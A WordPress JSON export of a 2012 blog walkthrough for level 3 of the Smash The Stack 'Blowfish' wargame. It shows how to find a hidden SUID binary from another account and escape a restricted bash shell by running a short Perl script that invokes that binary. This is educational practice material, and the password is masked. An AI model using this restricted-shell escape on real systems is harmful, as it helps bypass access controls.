{"id":48,"date":"2012-07-20T02:22:35","date_gmt":"2012-07-20T09:22:35","guid":{"rendered":"http:\/\/seanmurphree.com\/blog\/?p=48"},"modified":"2012-07-20T02:22:35","modified_gmt":"2012-07-20T09:22:35","slug":"blowfish-level3-dont-forget-where-you-came-from","status":"publish","type":"post","link":"https:\/\/seanmurphree.com\/blog\/?p=48","title":{"rendered":"Blowfish Level3 – Don’t forget where you came from"},"content":{"rendered":"

Welcome back. \u00a0Today we’re going to be looking at level3 of the Blowfish<\/a> wargame from Smash The Stack<\/a>. \u00a0Since this is level3, I’ll assume you have the password from completing level2. \u00a0Also, as always, the password will be stripped from this page and replaced with Y’s. Now, let’s ssh in and get started.<\/p>\n

Upon logging in we see a banner message,<\/p>\n

You are in a restricted shell. If you can break out of it, you need to find the backdoor hidden somewhere in the system. find it and cat \/pass\/level4<\/p><\/blockquote>\n

Ok, sounds like level 3 so far. \u00a0Let’s check what we can find, and perhaps what this restricted shell is.<\/p>\n

level3@blowfish:~$ find \/ -user level4 -group level3 2>\/dev\/null
\n-rbash: \/dev\/null: restricted: cannot redirect output
\nlevel3@blowfish:~$ find \/ -user level4 -group level3
\n-rbash: find: command not found
\nlevel3@blowfish:~$ pwd
\n\/home\/level3
\nlevel3@blowfish:~$ ls
\n-rbash: ls: command not found
\nlevel3@blowfish:~$ \/usr\/ls
\n-rbash: \/usr\/ls: restricted: cannot specify `\/’ in command names<\/p><\/blockquote>\n

Interesting. \u00a0We can’t use find or ls, or include slashes in our commands. \u00a0So let’s see if we can’t scope out this restricted shell more. \u00a0We can google and read up on rbash<\/a>, but let’s also experiment.<\/p>\n

level3@blowfish:~$ pwd
\n\/home\/level3
\nlevel3@blowfish:~$ echo $PATH
\n\/home\/rbash<\/p><\/blockquote>\n

Now we really need to find out what is in \/home\/rbash to see which program we might be able to execute or use. \u00a0Let’s open up another PuTTy window, connect to blowfish again, but this time as level2! \u00a0Once there, let’s look around. \u00a0First we want to try to find this talked about back door. \u00a0Second, we want to know what is in \/home\/rbash:<\/p>\n

level2@blowfish:~$ find \/ -user level4 -group level3 2>\/dev\/null
\n\/home\/level3\/.. \u00a0 \u00a0 \/cat_lvl4
\nlevel2@blowfish:~$ ls -la “\/home\/level3\/.. \u00a0 \u00a0 \/cat_lvl4”
\n-r-sr-x— 1 level4 level3 7460 2007-12-03 13:41 \/home\/level3\/.. \u00a0 \u00a0 \/cat_lvl4
\nlevel2@blowfish:~$ ls -la \/home\/rbash
\ntotal 8
\ndrwxr-xr-x 2 711 root 4096 2009-08-15 22:11 .
\ndrwxr-xr-x 22 l3thal root 4096 2009-08-09 23:35 ..
\nlrwxrwxrwx 1 711 root 8 2009-08-15 22:11 cat -> \/bin\/cat
\nlrwxrwxrwx 1 711 root 13 2009-08-09 23:13 perl -> \/usr\/bin\/perl<\/p><\/blockquote>\n

Alright, we found the SUID program we’re going to try to execute. \u00a0The name is odd and has spaces in the directory so we wrap it in quotes. \u00a0Also, we checked out \/home\/rbash and found two links, one to \/bin\/cat and one to \/usr\/bin\/perl. \u00a0So it looks like we’re probably going to be using these guys to hopefully break free of the restricted level3 shell! \u00a0How will we break free? Well we need to execute the cat_level4 file. \u00a0Best way to do that out of cat and perl, sounds like perl. \u00a0If we can make a perl file that calls the cat_level4 file, we should be in business. \u00a0So let’s jump on our level2 shell and do some programming. \u00a0(Remember to keep it in \/tmp and to clean up afterwards!)<\/p>\n

First let’s create a perl program, let’s call it test.pl. \u00a0In it we will simply call the program we want to execute. \u00a0The whole script is as follows:<\/p>\n

level2@blowfish:\/tmp\/.somedir$ cat test.pl
\n#!\/usr\/bin\/perl
\nsystem(‘\/home\/level3\/..\\ \\ \\ \\ \\ \/cat_lvl4’);
\nlevel2@blowfish:\/tmp\/.somedir$ chmod 777 test.pl
\nlevel2@blowfish:\/tmp\/.somedir$ ls -la test.pl
\n-rwxrwxrwx 1 level2 level2 62 2012-07-20 09:05 test.pl<\/p><\/blockquote>\n

Don’t forget to add executable permission for everyone, since we’re going to be running this program through perl on level3! \u00a0Now let’s switch back over to our level3 shell and run the script.<\/p>\n

level3@blowfish:~$ perl \/tmp\/.somedir\/test.pl
\nYYYYYYYYYYY<\/p><\/blockquote>\n

Bam. \u00a0Seems like the cat_level4 program already runs cat \/pass\/level4 for us. \u00a0There we have it, the password for level4 and the end of level3. \u00a0So, while restricted shell, rbash, can make it more difficult to perform actions, it doesn’t make it impossible. \u00a0Obviously, we had to log-in to level2 to create the file and to look around. \u00a0However, who knows when there might be a similar script that calls a similar SUID program that is vulnerable to attack. \u00a0The successful attack is often the one delivered through an unexpected vector.<\/p>\n","protected":false},"excerpt":{"rendered":"

Welcome back. \u00a0Today we’re going to be looking at level3 of the Blowfish wargame from Smash The Stack. \u00a0Since this is level3, I’ll assume you have the password from completing level2. \u00a0Also, as always, the password will be stripped from … Continue reading →<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[16,6,4],"tags":[51,24,23,49,47],"_links":{"self":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/48"}],"collection":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=48"}],"version-history":[{"count":4,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/48\/revisions"}],"predecessor-version":[{"id":52,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=\/wp\/v2\/posts\/48\/revisions\/52"}],"wp:attachment":[{"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=48"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=48"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/seanmurphree.com\/blog\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=48"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}